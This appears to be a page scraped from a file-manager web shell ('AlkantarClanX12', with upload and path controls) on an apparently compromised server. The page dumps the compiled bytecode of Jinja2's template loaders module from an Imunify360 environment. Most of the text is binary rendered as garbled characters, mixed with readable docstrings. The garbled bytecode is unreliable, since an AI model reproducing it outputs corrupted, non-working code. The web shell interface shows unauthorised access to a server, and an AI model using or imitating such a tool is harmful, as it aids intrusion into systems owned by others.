AlkantarClanX12

Your IP : 3.139.235.177


Current Path : /opt/imunify360/venv/lib/python3.11/site-packages/jinja2/__pycache__/
Upload File :
Current File : //opt/imunify360/venv/lib/python3.11/site-packages/jinja2/__pycache__/loaders.cpython-311.pyc

�

l��fE���dZddlZddlZddlZddlmZddlmZddlmZddl	m
Z
ddl	mZdd	l	mZdd
l	m
Z
ddlmZddlmZdd
lmZd�ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�d e��ZdS)!zKAPI and implementations for loading templates from different data
sources.
�N)�sha1)�path)�
ModuleType�)�abc��fspath)�	iteritems)�string_types)�TemplateNotFound)�internalcode)�open_if_existsc��g}|�d��D]f}tj|vs*tjrtj|vs|tjkrt|���|r|dkr|�|���g|S)z�Split a path into segments and perform a sanity check.  If it detects
    '..' in the path it will raise a `TemplateNotFound` error.
    �/�.)�splitr�sep�altsep�pardirr�append)�template�pieces�pieces   �n/builddir/build/BUILD/imunify360-venv-2.3.5/opt/imunify360/venv/lib/python3.11/site-packages/jinja2/loaders.py�split_template_pathrs����F�����$�$�!�!���H������
� $��u� 4� 4����#�#�"�8�,�,�,�
�	!�u��|�|��M�M�%� � � ���M�c�:�eZdZdZdZd�Zd�Zedd���ZdS)�
BaseLoadera�Baseclass for all loaders.  Subclass this and override `get_source` to
    implement a custom loading mechanism.  The environment provides a
    `get_template` method that calls the loader's `load` method to get the
    :class:`Template` object.

    A very basic example for a loader that looks up templates on the file
    system could look like this::

        from jinja2 import BaseLoader, TemplateNotFound
        from os.path import join, exists, getmtime

        class MyLoader(BaseLoader):

            def __init__(self, path):
                self.path = path

            def get_source(self, environment, template):
                path = join(self.path, template)
                if not exists(path):
                    raise TemplateNotFound(template)
                mtime = getmtime(path)
                with file(path) as f:
                    source = f.read().decode('utf-8')
                return source, path, lambda: mtime == getmtime(path)
    Tc�f�|jstd|jjz���t	|���)a�Get the template source, filename and reload helper for a template.
        It's passed the environment and template name and has to return a
        tuple in the form ``(source, filename, uptodate)`` or raise a
        `TemplateNotFound` error if it can't locate the template.

        The source part of the returned tuple must be the source of the
        template as unicode string or a ASCII bytestring.  The filename should
        be the name of the file on the filesystem if it was loaded from there,
        otherwise `None`.  The filename is used by python for the tracebacks
        if no loader extension is used.

        The last item in the tuple is the `uptodate` function.  If auto
        reloading is enabled it's always called to check if the template
        changed.  No arguments are passed so the function must store the
        old state somewhere (for example in a closure).  If it returns `False`
        the template will be reloaded.
        z&%s cannot provide access to the source)�has_source_access�RuntimeError�	__class__�__name__r)�self�environmentrs   r�
get_sourcezBaseLoader.get_sourceGs>��$�%�	��8�4�>�;R�R���
��x�(�(�(rc� �td���)z�Iterates over all templates.  If the loader does not support that
        it should raise a :exc:`TypeError` which is the default behavior.
        z-this loader cannot iterate over all templates)�	TypeError�r$s r�list_templateszBaseLoader.list_templates_s���G�H�H�HrNc�H�d}|�i}|�||��\}}}|j}|�|�||||��}	|	j}|�|�|||��}|�#|	j�||	_|�|	��|j�||||��S)acLoads a template.  This method looks up the template in the cache
        or loads one by calling :meth:`get_source`.  Subclasses should not
        override this method as loaders working on collections of other
        loaders (such as :class:`PrefixLoader` or :class:`ChoiceLoader`)
        will not call this method but `get_source` directly.
        N)r&�bytecode_cache�
get_bucket�code�compile�
set_bucket�template_class�	from_code)
r$r%�name�globalsr.�source�filename�uptodate�bcc�buckets
          r�loadzBaseLoader.loades������?��G�&*�_�_�[�$�%G�%G�"���(��(���?��^�^�K��x��H�H�F��;�D��<��&�&�v�t�X�>�>�D�
�?�v�{�2��F�K��N�N�6�"�"�"��)�3�3���w��
�
�	
r�N)	r#�
__module__�__qualname__�__doc__r r&r*r
r:�rrrr&sg��������<��)�)�)�0I�I�I��$
�$
�$
��\�$
�$
�$
rrc�&�eZdZdZdd�Zd�Zd�ZdS)	�FileSystemLoadera#Loads templates from the file system.  This loader can find templates
    in folders on the file system and is the preferred way to load them.

    The loader takes the path to the templates as string, or if multiple
    locations are wanted a list of them which is then looked up in the
    given order::

    >>> loader = FileSystemLoader('/path/to/templates')
    >>> loader = FileSystemLoader(['/path/to/templates', '/other/path'])

    Per default the template encoding is ``'utf-8'`` which can be changed
    by setting the `encoding` parameter to something else.

    To follow symbolic links, set the *followlinks* parameter to ``True``::

    >>> loader = FileSystemLoader('/path/to/templates', followlinks=True)

    .. versionchanged:: 2.8
       The ``followlinks`` parameter was added.
    �utf-8Fc��t|tj��rt|t��r|g}d�|D��|_||_||_dS)Nc�,�g|]}t|����Sr?r��.0�ps  r�
<listcomp>z-FileSystemLoader.__init__.<locals>.<listcomp>�s��9�9�9��6�!�9�9�9�9�9r)�
isinstancer�Iterabler�
searchpath�encoding�followlinks)r$rKrLrMs    r�__init__zFileSystemLoader.__init__�sa���*�c�l�3�3�	&�z���8
�8
�	&�%��J�:�9�j�9�9�9��� ��
�&����rc���	�t|��}|jD]�}tj|g|�R��t	���}|��&	|����|j��}|���n#|���wxYwtj	����	��	fd�}|�|fcSt|���)Nc�X��	tj����kS#t$rYdSwxYw�NF�r�getmtime�OSError�r6�mtimes��rr7z-FileSystemLoader.get_source.<locals>.uptodate��?���!��=��2�2�e�;�;���!�!�!� �5�5�!������
)�))rrKr�joinr�read�decoderL�closerSr)
r$r%rrrK�f�contentsr7r6rVs
        @@rr&zFileSystemLoader.get_source�s�����$�X�.�.���/�	0�	0�J��y��5�f�5�5�5�H��x�(�(�A��y��
��6�6�8�8�?�?�4�=�9�9�����	�	�	�	�����	�	�	�	�����M�(�+�+�E�
!�
!�
!�
!�
!�
!��X�x�/�/�/�/��x�(�(�(s�,B�Bc��t��}|jD]�}tj||j���}|D]�\}}}|D]�}tj�||��t|��d��tjj	���
tjj	d��}|dd�dkr
|dd�}||vr|�|��������t|��S)N)rMr��./)
�setrK�os�walkrMrrY�len�stripr�replace�add�sorted)	r$�foundrK�walk_dir�dirpath�_�	filenamesr6rs	         rr*zFileSystemLoader.list_templates�s��������/�	,�	,�J��w�z�t�7G�H�H�H�H�)1�

,�

,�%���I� )�	,�	,�H�����W�h�7�7��J���8I�8I�J���r�w�{�+�+� �����c�2�2��
 ����|�t�+�+�#+�A�B�B�<���u�,�,��	�	�(�+�+�+��	,�

,��e�}�}�rN)rBF�r#r<r=r>rNr&r*r?rrrArA�sP��������*'�'�'�'�)�)�)�.����rrAc�&�eZdZdZdd�Zd�Zd�ZdS)	�
PackageLoadera,Load templates from python eggs or packages.  It is constructed with
    the name of the python package and the path to the templates in that
    package::

        loader = PackageLoader('mypackage', 'views')

    If the package path is not given, ``'templates'`` is assumed.

    Per default the template encoding is ``'utf-8'`` which can be changed
    by setting the `encoding` parameter to something else.  Due to the nature
    of eggs it's only possible to reload templates if the package was loaded
    from the file system and not a zip file.
    �	templatesrBc��ddlm}ddlm}ddlm}||��}||_|��|_t
||��|_||_||_	dS)Nr)�DefaultProvider)�get_provider)�ResourceManager)
�
pkg_resourcesrtrurvrL�managerrI�filesystem_bound�provider�package_path)r$�package_namer{rLrtrurvrzs        rrNzPackageLoader.__init__�s���1�1�1�1�1�1�.�.�.�.�.�.�1�1�1�1�1�1��<��-�-�� ��
�&��(�(��� *�8�_� E� E��� ��
�(����rc�����t|��}d�|jft|��z��}|j�|��st
|���dx�}|jr:|j�|j	|���tj������fd�}|j�|j	|��}|�
|j���|fS)Nrc�X��	tj����kS#t$rYdSwxYwrQrRrUs��rr7z*PackageLoader.get_source.<locals>.uptodaterWrX)rrYr{�tuplerz�has_resourcerry�get_resource_filenamerxrrS�get_resource_stringr[rL)	r$r%rrrGr7r5r6rVs	       @@rr&zPackageLoader.get_source�s�����$�X�.�.���H�H�d�'�)�E�&�M�M�9�:�:���}�)�)�!�,�,�	-�"�8�,�,�,�"�"��8�� �	!��}�:�:�4�<��K�K�H��M�(�+�+�E�
!�
!�
!�
!�
!�
!���2�2�4�<��C�C���}�}�T�]�+�+�X�x�?�?rc��������j}|dd�dkr|dd�}n|dkrd}t|���g�����fd���|�������S)Nr`rar�c����j�|��D]`}|dz|z}�j�|��r�|���0��|�d��d�����adS)Nr)rz�resource_listdir�resource_isdirr�lstrip)rr6�fullname�_walk�offset�resultsr$s   ����rr�z+PackageLoader.list_templates.<locals>._walks���� �M�:�:�4�@�@�
B�
B���#�:��0���=�/�/��9�9�B��E�(�O�O�O�O��N�N�8�F�G�G�#4�#;�#;�C�#@�#@�A�A�A�A�

B�
Br)r{re�sort)r$rr�r�r�s` @@@rr*zPackageLoader.list_templates
s�������� ������8�t�������8�D�D�
�S�[�[��D��T������	B�	B�	B�	B�	B�	B�	B�	B�	��d�����������rN)rrrBror?rrrqrq�sS��������
)�
)�
)�
)�@�@�@�,����rrqc�$�eZdZdZd�Zd�Zd�ZdS)�
DictLoaderaLoads a template from a python dict.  It's passed a dict of unicode
    strings bound to template names.  This loader is useful for unittesting:

    >>> loader = DictLoader({'index.html': 'source here'})

    Because auto reloading is rarely useful this is disabled per default.
    c��||_dSr;)�mapping)r$r�s  rrNzDictLoader.__init__,�
������rc�f������jvr�j���d���fd�fSt����)Nc�@����j����kSr;)r��get)r$r5rs���r�<lambda>z'DictLoader.get_source.<locals>.<lambda>2s����4�<�3C�3C�H�3M�3M�)M�r)r�r)r$r%rr5s` `@rr&zDictLoader.get_source/sI������t�|�#�#��\�(�+�F��4�!M�!M�!M�!M�!M�!M�M�M��x�(�(�(rc�*�t|j��Sr;)rir�r)s rr*zDictLoader.list_templates5s���d�l�#�#�#rNror?rrr�r�#sK�����������)�)�)�$�$�$�$�$rr�c��eZdZdZd�Zd�ZdS)�FunctionLoadera�A loader that is passed a function which does the loading.  The
    function receives the name of the template and has to return either
    an unicode string with the template source, a tuple in the form ``(source,
    filename, uptodatefunc)`` or `None` if the template does not exist.

    >>> def load_template(name):
    ...     if name == 'index.html':
    ...         return '...'
    ...
    >>> loader = FunctionLoader(load_template)

    The `uptodatefunc` is a function that is called if autoreload is enabled
    and has to return `True` if the template is still up to date.  For more
    details have a look at :meth:`BaseLoader.get_source` which has the same
    return value.
    c��||_dSr;)�	load_func)r$r�s  rrNzFunctionLoader.__init__Ks
��"����rc��|�|��}|�t|���t|t��r|ddfS|Sr;)r�rrIr)r$r%r�rvs    rr&zFunctionLoader.get_sourceNsI��
�^�^�H�
%�
%��
�:�"�8�,�,�,�
��L�
)�
)�	"��t�T�>�!��	rN)r#r<r=r>rNr&r?rrr�r�9s<��������"#�#�#�����rr�c�D�eZdZdZd	d�Zd�Zd�Zed
d���Zd�Z	dS)�PrefixLoaderaA loader that is passed a dict of loaders where each loader is bound
    to a prefix.  The prefix is delimited from the template by a slash per
    default, which can be changed by setting the `delimiter` argument to
    something else::

        loader = PrefixLoader({
            'app1':     PackageLoader('mypackage.app1'),
            'app2':     PackageLoader('mypackage.app2')
        })

    By loading ``'app1/index.html'`` the file from the app1 package is loaded,
    by loading ``'app2/index.html'`` the file from the second.
    rc�"�||_||_dSr;)r��	delimiter)r$r�r�s   rrNzPrefixLoader.__init__fs�����"����rc��	|�|jd��\}}|j|}n$#ttf$rt|���wxYw||fS)Nr)rr�r��
ValueError�KeyErrorr)r$r�prefixr3�loaders     r�
get_loaderzPrefixLoader.get_loaderjsf��	-�#�>�>�$�.�!�<�<�L�F�D��\�&�)�F�F���H�%�	-�	-�	-�"�8�,�,�,�	-�����t�|�s	�+.�!Ac��|�|��\}}	|�||��S#t$rt|���wxYwr;)r�r&r)r$r%rr�r3s     rr&zPrefixLoader.get_sourcers]�����x�0�0����	-��$�$�[�$�7�7�7���	-�	-�	-�#�8�,�,�,�	-���s	�0�A
Nc��|�|��\}}	|�|||��S#t$rt|���wxYwr;)r�r:r)r$r%r3r4r��
local_names      rr:zPrefixLoader.load{s^��!�_�_�T�2�2���
�	)��;�;�{�J��@�@�@���	)�	)�	)�#�4�(�(�(�	)���s	�1�Ac��g}t|j��D]<\}}|���D]"}|�||jz|z���#�=|Sr;)r
r�r*rr�)r$�resultr�r�rs     rr*zPrefixLoader.list_templates�so����'���5�5�	B�	B�N�F�F�"�1�1�3�3�
B�
B���
�
�f�t�~�5��@�A�A�A�A�
B��
r)rr;)
r#r<r=r>rNr�r&r
r:r*r?rrr�r�Ws��������#�#�#�#����-�-�-��)�)�)��\�)�����rr�c�<�eZdZdZd�Zd�Zedd���Zd�ZdS)�ChoiceLoadera�This loader works like the `PrefixLoader` just that no prefix is
    specified.  If a template could not be found by one loader the next one
    is tried.

    >>> loader = ChoiceLoader([
    ...     FileSystemLoader('/path/to/user/templates'),
    ...     FileSystemLoader('/path/to/system/templates')
    ... ])

    This is useful if you want to allow users to override builtin templates
    from a different location.
    c��||_dSr;)�loaders)r$r�s  rrNzChoiceLoader.__init__�r�rc��|jD]*}	|�||��cS#t$rY�'wxYwt|���r;)r�r&r)r$r%rr�s    rr&zChoiceLoader.get_source�sb���l�	�	�F�
��(�(��h�?�?�?�?�?��#�
�
�
���
�����x�(�(�(s�#�
0�0Nc��|jD]+}	|�|||��cS#t$rY�(wxYwt|���r;)r�r:r)r$r%r3r4r�s     rr:zChoiceLoader.load�sb���l�	�	�F�
��{�{�;��g�>�>�>�>�>��#�
�
�
���
�����t�$�$�$s�$�
1�1c��t��}|jD])}|�|������*t	|��Sr;)rbr��updater*ri)r$rjr�s   rr*zChoiceLoader.list_templates�sI�������l�	2�	2�F��L�L��.�.�0�0�1�1�1�1��e�}�}�rr;)	r#r<r=r>rNr&r
r:r*r?rrr�r��sk�����������)�)�)��%�%�%��\�%�����rr�c��eZdZdZdS)�_TemplateModulez9Like a normal module but with support for weak referencesN)r#r<r=r>r?rrr�r��s������C�C�C�Crr�c�`�eZdZdZdZd�Zed���Zed���Ze	dd���Z
dS)	�ModuleLoadera6This loader loads templates from precompiled templates.

    Example usage:

    >>> loader = ChoiceLoader([
    ...     ModuleLoader('/path/to/compiled/templates'),
    ...     FileSystemLoader('/path/to/templates')
    ... ])

    Templates can be precompiled with :meth:`Environment.compile_templates`.
    Fc�6��dt|��z�t���}t|tj��rt|t
��r|g}d�|D��|_tj|�fd���tj
�<||_�|_dS)Nz_jinja2_module_templates_%xc�,�g|]}t|����Sr?rrEs  rrHz)ModuleLoader.__init__.<locals>.<listcomp>�s��0�0�0�a��q�	�	�0�0�0rc�D��tj��d��Sr;)�sys�modules�pop)�xr|s �rr�z'ModuleLoader.__init__.<locals>.<lambda>�s���3�;�?�?�<��>�>�r)
�idr�rIrrJr�__path__�weakref�proxyr�r��moduler|)r$r�modr|s   @rrNzModuleLoader.__init__�s����4�r�$�x�x�?���l�+�+���$���-�-�	��D�,�1O�1O�	��6�D�0�0�4�0�0�0���$+�M��>�>�>�>�%
�%
���L�!����(����rc�p�dt|�d�������zS)N�tmpl_rB)r�encode�	hexdigest�r3s r�get_template_keyzModuleLoader.get_template_key�s-����d�k�k�'�2�2�3�3�=�=�?�?�?�?rc�<�t�|��dzS)Nz.py)r�r�r�s r�get_module_filenamez ModuleLoader.get_module_filename�s���,�,�T�2�2�U�:�:rNc�Z�|�|��}|j�d|��}t|j|d��}|�R	t	|dddg��}n#t
$rt
|���wxYwtj�	|d��|j
�||j|��S)Nr�root)
r�r|�getattrr��
__import__�ImportErrorrr�r�r�r1�from_module_dict�__dict__)r$r%r3r4�keyr�r�s       rr:zModuleLoader.load�s����#�#�D�)�)�� �-�-�-�s�s�3���d�k�6�4�0�0���;�
-� ���t�f�X�>�>�����
-�
-�
-�&�t�,�,�,�
-����

�K�O�O�F�D�)�)�)��)�:�:����w�
�
�	
s�A�A)r;)r#r<r=r>r rN�staticmethodr�r�r
r:r?rrr�r��s�������
�
���)�)�)�,�@�@��\�@��;�;��\�;��
�
�
��\�
�
�
rr�)r>rcr�r��hashlibrr�typesr�_compatrr	r
r�
exceptionsr�utilsr
rr�objectrrArqr�r�r�r�r�r�r?rr�<module>r�s�����
�	�	�	�
�
�
�
�����������������������������������������!�!�!�!�!�!�(�(�(�(�(�(�������!�!�!�!�!�!����"d
�d
�d
�d
�d
��d
�d
�d
�NI�I�I�I�I�z�I�I�I�XG�G�G�G�G�J�G�G�G�T$�$�$�$�$��$�$�$�,�����Z����<3�3�3�3�3�:�3�3�3�l&�&�&�&�&�:�&�&�&�RD�D�D�D�D�j�D�D�D�>
�>
�>
�>
�>
�:�>
�>
�>
�>
�>
r